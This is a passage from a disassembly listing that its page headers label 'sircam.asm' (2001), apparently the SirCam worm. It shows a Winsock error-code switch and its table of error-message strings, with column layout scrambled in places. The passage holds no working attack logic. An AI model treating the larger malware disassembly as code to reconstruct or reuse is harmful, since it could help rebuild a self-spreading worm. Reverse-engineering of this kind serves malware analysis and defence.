ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4103F6: ; CODE XREF: sub_4101AC+51\030j mov eax, esi mov edx, offset aPermissionDeni ; "Permission denied" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410407: ; CODE XREF: sub_4101AC+7E\030j mov eax, esi mov edx, offset dword_4107C0 call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410418: ; CODE XREF: sub_4101AC+87\030j mov eax, esi mov edx, offset aInvalidArgumen ; "Invalid argument" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410429: ; CODE XREF: sub_4101AC+44\030j mov eax, esi mov edx, offset aTooManyOpenFil ; "Too many open files" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41043A: ; CODE XREF: sub_4101AC+A0\030j ; DATA XREF: sub_4101AC+A7\030o mov eax, esi ; case 0x2733 mov edx, offset aOperationWould ; "Operation would block" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41044B: ; CODE XREF: sub_4101AC+A0\030j ; DATA XREF: sub_4101AC+A7\030o mov eax, esi ; case 0x2734 mov edx, offset aOperationNowIn ; "Operation now in progress" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 461 loc_41045C: ; CODE XREF: sub_4101AC+A0\030j ; DATA XREF: sub_4101AC+A7\030o mov eax, esi ; case 0x2735 mov edx, offset aOperationAlrea ; "Operation already in progress" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41046D: ; CODE XREF: sub_4101AC+A0\030j ; DATA XREF: sub_4101AC+A7\030o mov eax, esi ; case 0x2736 mov edx, offset aSocketOperatio ; "Socket operation on nonsocket" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41047E: ; CODE XREF: sub_4101AC+A0\030j ; DATA XREF: sub_4101AC+A7\030o mov eax, esi ; case 0x2737 mov edx, offset aDestinationAdd ; "Destination address required" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41048F: ; CODE XREF: sub_4101AC+37\030j mov eax, esi mov edx, offset aMessageTooLong ; "Message too long" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4104A0: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x2739 mov edx, offset aProtocolWrongT ; "Protocol wrong type for socket" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4104B1: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x273a mov edx, offset aProtocolNotAva ; "Protocol not available" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4104C2: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x273b mov edx, offset aProtocolNotSup ; "Protocol not supported" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4104D3: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x273c mov edx, offset aSocketNotSuppo ; "Socket not supported" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4104E4: mov mov call jmp ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o eax, esi ; case 0x273d edx, offset aOperationNotSu ; "Operation not supported on socket" sub_40351C loc_410734 sircam.asm Fri Aug 10 12:42:44 2001 462 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4104F5: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x273e mov edx, offset aProtocolFamily ; "Protocol family not supported" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410506: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x273f mov edx, offset aAddressFamilyN ; "Address family not supported" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410517: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x2740 mov edx, offset aAddressAlready ; "Address already in use" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410528: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x2741 mov edx, offset aCanTAssignRequ ; "Can’t assign requested address" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410539: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x2742 mov edx, offset aNetworkIsDown ; "Network is down" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41054A: ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o mov eax, esi ; case 0x2743 mov edx, offset aNetworkIsUnrea ; "Network is unreachable" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41055B: mov mov ; CODE XREF: sub_4101AC+C9\030j ; DATA XREF: sub_4101AC+D0\030o eax, esi ; case 0x2744 edx, offset aNetworkDropped ; "Network dropped connection on rese t" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41056C: ; CODE XREF: sub_4101AC+26\030j mov eax, esi mov edx, offset aSoftwareCaused ; "Software caused connection abort" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41057D: mov mov ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o eax, esi ; case 0x2746 edx, offset aConnectionRese ; "Connection reset by peer" sircam.asm Fri Aug 10 12:42:44 2001 463 call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41058E: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x2747 mov edx, offset aNoBufferSpaceA ; "No buffer space available" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41059F: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x2748 mov edx, offset aSocketIsAlread ; "Socket is already connected" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4105B0: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x2749 mov edx, offset aSocketIsNotCon ; "Socket is not connected" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4105C1: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x274a mov edx, offset aCanTSendAfterS ; "Can’t send after socket shutdown" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4105D2: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x274b mov edx, offset aTooManyReferen ; "Too many references:can’t splice" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4105E3: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x274c mov edx, offset aConnectionTime ; "Connection timed out" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4105F4: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x274d mov edx, offset aConnectionRefu ; "Connection refused" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410605: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x274e mov edx, offset aTooManyLevelsO ; "Too many levels of symbolic links" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410616: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o sircam.asm Fri Aug 10 12:42:44 2001 464 mov eax, esi ; case 0x274f mov edx, offset aFileNameIsTooL ; "File name is too long" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410627: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x2750 mov edx, offset dword_410C2C call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410638: ; CODE XREF: sub_4101AC+11B\030j ; DATA XREF: sub_4101AC+122\030o mov eax, esi ; case 0x2751 mov edx, offset aNoRouteToHost ; "No route to host" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410649: ; CODE XREF: sub_4101AC+107\030j mov eax, esi mov edx, offset aDirectoryIsNot ; "Directory is not empty" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41065A: ; CODE XREF: sub_4101AC+16D\030j ; DATA XREF: sub_4101AC+174\030o mov eax, esi ; case 0x2753 mov edx, offset aTooManyProcess ; "Too many processes" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41066B: ; CODE XREF: sub_4101AC+16D\030j ; DATA XREF: sub_4101AC+174\030o mov eax, esi ; case 0x2754 mov edx, offset dword_410C9C call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41067C: ; CODE XREF: sub_4101AC+16D\030j ; DATA XREF: sub_4101AC+174\030o mov eax, esi ; case 0x2755 mov edx, offset aDiskQuotaExcee ; "Disk quota exceeded" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41068D: ; CODE XREF: sub_4101AC+16D\030j ; DATA XREF: sub_4101AC+174\030o mov eax, esi ; case 0x2756 mov edx, offset aStaleNfsFileHa ; "Stale NFS file handle" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41069E: ; CODE XREF: sub_4101AC+16D\030j ; DATA XREF: sub_4101AC+174\030o mov eax, esi ; case 0x2757 mov edx, offset aTooManyLevel_0 ; "Too many levels of remote in path" call sub_40351C jmp loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4106AF: ; CODE XREF: sub_4101AC+16D\030j sircam.asm Fri Aug 10 12:42:44 2001 465 ; DATA XREF: sub_4101AC+174\030o mov eax, esi ; case 0x276b mov edx, offset aNetworkSubsyst ; "Network subsystem is unusable" call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4106BD: mov mov ; CODE XREF: sub_4101AC+159\030j eax, esi edx, offset aWinsockDllCann ; "Winsock DLL cannot support this ap plica"... call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4106CB: ; CODE XREF: sub_4101AC+1EA\030j mov eax, esi mov edx, offset aWinsockNotInit ; "Winsock not initialized" call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4106D9: ; CODE XREF: sub_4101AC+1F5\030j mov eax, esi mov edx, offset dword_410D98 call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4106E7: mov mov ; CODE XREF: sub_4101AC+1DF\030j eax, esi edx, offset aNonAuthoritati ; "Non authoritative - host not found " call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4106F5: ; CODE XREF: sub_4101AC+205\030j mov eax, esi mov edx, offset aNonRecoverable ; "Non recoverable error" call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410703: mov mov ; CODE XREF: sub_4101AC+20C\030j eax, esi edx, offset aValidNameNoDat ; "Valid name, no data record of requ ested"... call sub_40351C jmp short loc_410734 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410711: push lea mov call push push mov mov call ; CODE XREF: sub_4101AC+74\030j ; sub_4101AC+8D\030j ... offset aNotAWinsockErr ; default edx, [ebp+var_4] eax, ebx sub_406FEC [ebp+var_4] offset dword_410E54 eax, esi edx, 3 sub_4037E4 loc_410734: ; CODE XREF: sub_4101AC+223\030j ; sub_4101AC+234\030j ... xor pop pop pop eax, eax edx ecx ecx sircam.asm Fri Aug 10 12:42:44 2001 mov push fs:[eax], edx offset loc_410751 loc_410741: sub_4101AC 466 ; CODE XREF: CODE:0041074F\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41074A: ; DATA XREF: sub_4101AC+E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_410741 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410751: ; DATA XREF: sub_4101AC+590\030o pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_410760 dd 4B4Fh, 0FFFFFFFFh, 17h ; DATA XREF: sub_4101AC+219\030o aInterruptedSys db ’Interrupted system call’,0 ; DATA XREF: sub_4101AC+22A\030o dd 0FFFFFFFFh, 0Fh aBadFileNumber db ’Bad file number’,0 ; DATA XREF: sub_4101AC+23B\030o dd 0FFFFFFFFh, 11h aPermissionDeni db ’Permission denied’,0 ; DATA XREF: sub_4101AC+24C\030o align 4 dd 0FFFFFFFFh, 0Bh dword_4107C0 dd 20646142h, 72646461h, 737365h, 0FFFFFFFFh, 10h ; DATA XREF: sub_4101AC+25D\030o aInvalidArgumen db ’Invalid argument’,0 ; DATA XREF: sub_4101AC+26E\030o align 4 dd 0FFFFFFFFh, 13h aTooManyOpenFil db ’Too many open files’,0 ; DATA XREF: sub_4101AC+27F\030o dd 0FFFFFFFFh, 15h aOperationWould db ’Operation would block’,0 ; DATA XREF: sub_4101AC+290\030o align 4 dd 0FFFFFFFFh, 19h aOperationNowIn db ’Operation now in progress’,0 ; DATA XREF: sub_4101AC+2A1\030o align 4 dd 0FFFFFFFFh, 1Dh aOperationAlrea db ’Operation already in progress’,0 ; DATA XREF: sub_4101AC+2B2\030o align 4 dd 0FFFFFFFFh, 1Dh aSocketOperatio db ’Socket operation on nonsocket’,0 ; DATA XREF: sub_4101AC+2C3\030o align 4 dd 0FFFFFFFFh, 1Ch aDestinationAdd db ’Destination address required’,0 ; DATA XREF: sub_4101AC+2D4\030o align 4 dd 0FFFFFFFFh, 10h aMessageTooLong db ’Message too long’,0 ; DATA XREF: sub_4101AC+2E5\030o align 4 dd 0FFFFFFFFh, 1Eh aProtocolWrongT db ’Protocol wrong type for socket’,0 ; DATA XREF: sub_4101AC+2F6\030o align 4 dd 0FFFFFFFFh, 16h aProtocolNotAva db ’Protocol not available’,0 ; DATA XREF: sub_4101AC+307\030o align 4 dd 0FFFFFFFFh, 16h aProtocolNotSup db ’Protocol not supported’,0 ; DATA XREF: sub_4101AC+318\030o align 4 dd 0FFFFFFFFh, 14h aSocketNotSuppo db ’Socket not supported’,0 ; DATA XREF: sub_4101AC+329\030o align 4 sircam.asm Fri Aug 10 12:42:44 2001 467 dd 0FFFFFFFFh, 21h aOperationNotSu db ’Operation not supported on socket’,0 ; DATA XREF: sub_4101AC+33A\030o align 4 dd 0FFFFFFFFh, 1Dh aProtocolFamily db ’Protocol family not supported’,0 ; DATA XREF: sub_4101AC+34B\030o align 4 dd 0FFFFFFFFh, 1Ch aAddressFamilyN db ’Address family not supported’,0 ; DATA XREF: sub_4101AC+35C\030o align 4 dd 0FFFFFFFFh, 16h aAddressAlready db ’Address already in use’,0 ; DATA XREF: sub_4101AC+36D\030o align 4 dd 0FFFFFFFFh, 1Eh aCanTAssignRequ db ’Can’,27h,’t assign requested address’,0 ; DATA XREF: sub_4101AC+37E \030o align 4 dd 